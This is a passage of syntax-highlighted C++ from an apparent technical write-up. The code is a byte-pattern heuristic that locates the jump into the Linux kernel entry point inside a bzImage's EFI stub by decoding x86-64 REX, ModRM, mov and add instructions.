</span></span><span class="line"><span class="cl"><span class="n">rex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">modrm</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="n">mod</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">rm</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">reg</span> <span class="o">=</span> <span class="p">(</span><span class="n">modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">reg</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span> <span class="c1">// not a JMP
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">)</span> <span class="c1">// not JMP reg
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">dst</span> <span class="o">=</span> <span class="n">rm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">rex</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// cannot be a jmp rsi
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">dst</span> <span class="o">==</span> <span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// first check old fixed predictable signature
</span></span></span><span class="line"><span class="cl"><span class="c1">// https://elixir.bootlin.com/linux/v6.0/source/arch/x86/boot/compressed/head_64.S#L560
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xE0</span> <span class="cm">/* rax */</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// mov rsi, rbx; lea rax, [rax + X]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">10</span><span class="p">],</span> <span class="s">&#34;</span><span class="se">\x48\x89\xDE\x48\x8D\x80</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// and rsp, 0FFFFFFFFFFFFFFF0h; mov rbx, rdx; call efi_main
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">22</span><span class="p">],</span> <span class="s">&#34;</span><span class="se">\x48\x83\xE4\xF0\x48\x89\xD3\xE8</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="n">what_reg</span> <span class="o">=</span> <span class="n">dst</span> <span class="o">|</span> <span class="p">((</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">?</span> <span class="mb">0b1000</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Full heuristic:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_enter_kernel</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">c</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">what_reg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">code</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">pos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">modrm</span><span class="p">,</span> <span class="n">mod</span><span class="p">,</span> <span class="n">rm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">rex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">reg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">dst</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">req_mov_rsi</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// https://elixir.bootlin.com/linux/v6.19.8/source/drivers/firmware/efi/libstub/x86-stub.c#L898
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// all bzImages I could find inlines this function as it is static and tiny. Note [2026/08/14]:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// couldn&#39;t be otherwise. While refactoring this code, I came to the conclusion static __noreturn
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// will always cause this to be inlined. Needed to clearify this in the public release.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// asm(&#34;jmp *%0&#34;::&#34;r&#34;(kernel_addr), &#34;S&#34;(boot_params)); guarantees it assigns
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// RSI right before the jmp
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">code</span> <span class="o">!=</span> <span class="mh">0xFF</span> <span class="cm">/* jmp reg */</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">rex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">modrm</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">mod</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">rm</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">reg</span> <span class="o">=</span> <span class="p">(</span><span class="n">modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">reg</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span> <span class="c1">// not a JMP
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">)</span> <span class="c1">// not JMP reg
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">dst</span> <span class="o">=</span> <span class="n">rm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">rex</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// cannot be a jmp rsi
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">dst</span> <span class="o">==</span> <span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// first check old fixed predictable signature
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// https://elixir.bootlin.com/linux/v6.0/source/arch/x86/boot/compressed/head_64.S#L560
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xE0</span> <span class="cm">/* rax */</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// mov rsi, rbx; lea rax, [rax + X]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">10</span><span class="p">],</span> <span class="s">&#34;</span><span class="se">\x48\x89\xDE\x48\x8D\x80</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// and rsp, 0FFFFFFFFFFFFFFF0h; mov rbx, rdx; call efi_main
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">22</span><span class="p">],</span> <span class="s">&#34;</span><span class="se">\x48\x83\xE4\xF0\x48\x89\xD3\xE8</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">what_reg</span> <span class="o">=</span> <span class="n">dst</span> <span class="o">|</span> <span class="p">((</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">?</span> <span class="mb">0b1000</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">req_mov_rsi</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">pos</span> <span class="o">-=</span> <span class="mi">3</span> <span class="o">+</span> <span class="p">(</span><span class="n">rex</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="n">pos</span> <span class="o">&gt;</span> <span class="o">-</span><span class="mi">15</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">current_dst</span> <span class="o">=</span> <span class="mi">255</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">current_reg</span><span class="p">,</span> <span class="n">current_modrm</span><span class="p">,</span> <span class="n">current_mod</span><span class="p">,</span> <span class="n">current_rm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">current_rex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">bool</span> <span class="n">is_rsi</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">bool</span> <span class="n">is_same_reg</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// modrm movs, 0xb8 to 0xbf and 0xc7 make no sense here
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x89</span> <span class="o">||</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x8b</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">current_rex</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_W_BIT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">current_modrm</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="n">current_mod</span> <span class="o">=</span> <span class="n">current_modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">current_rm</span> <span class="o">=</span> <span class="n">current_modrm</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">current_reg</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">switch</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">case</span> <span class="mh">0x89</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">current_mod</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">current_dst</span> <span class="o">=</span> <span class="n">current_rm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">is_rsi</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_dst</span> <span class="o">==</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="n">is_same_reg</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_dst</span> <span class="o">==</span> <span class="n">dst</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">case</span> <span class="mh">0x8B</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">current_dst</span> <span class="o">=</span> <span class="n">current_reg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">is_rsi</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_dst</span> <span class="o">==</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_R_BIT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">is_same_reg</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_dst</span> <span class="o">==</span> <span class="n">dst</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_R_BIT</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">is_rsi</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">req_mov_rsi</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="o">!</span><span class="n">is_same_reg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// add to reg destination
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// the reason I check for an add instruction is that kernel_entry in enter_kernel(kernel_entry,
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// ...); is written as *kernel_entry = addr + entry; in the static function
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// efi_decompress_kernel. Therefore the compiler can optimize and move this addition to right
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// before enter_kernel(), which is the first usage of kernel_entry written by
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// efi_decompress_kernel. compilers are surprisingly smart.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span> <span class="o">||</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x01</span> <span class="o">||</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span> <span class="o">||</span>
</span></span><span class="line"><span class="cl">             <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span> <span class="o">||</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">-</span> <span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span> <span class="o">||</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">-</span> <span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="kt">int</span> <span class="n">expected</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x01</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">expected</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">pos</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">expected</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">pos</span> <span class="o">-=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">-</span> <span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">expected</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">pos</span> <span class="o">-=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">-</span> <span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">expected</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">pos</span> <span class="o">-=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">current_rex</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">current_rex</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="p">(</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_W_BIT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">current_modrm</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="n">current_mod</span> <span class="o">=</span> <span class="n">current_modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">current_rm</span> <span class="o">=</span> <span class="n">current_modrm</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">current_reg</span> <span class="o">=</span> <span class="p">(</span><span class="n">current_modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x01</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">((</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">||</span> <span class="n">mod</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">current_rm</span> <span class="o">!=</span> <span class="n">dst</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x03</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int</span> <span class="n">actual</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">((</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="n">current_rex</span> <span class="o">&amp;</span> <span class="n">P_R_BIT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">current_reg</span> <span class="o">!=</span> <span class="n">dst</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// if SIB
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="n">actual</span> <span class="o">+=</span> <span class="p">(</span><span class="n">current_rm</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">&amp;&amp;</span> <span class="n">current_mod</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">)</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">switch</span> <span class="p">(</span><span class="n">current_mod</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="mi">0</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">          <span class="k">if</span> <span class="p">(</span><span class="n">current_rm</span> <span class="o">==</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">actual</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="k">break</span><span class="p">;</span>
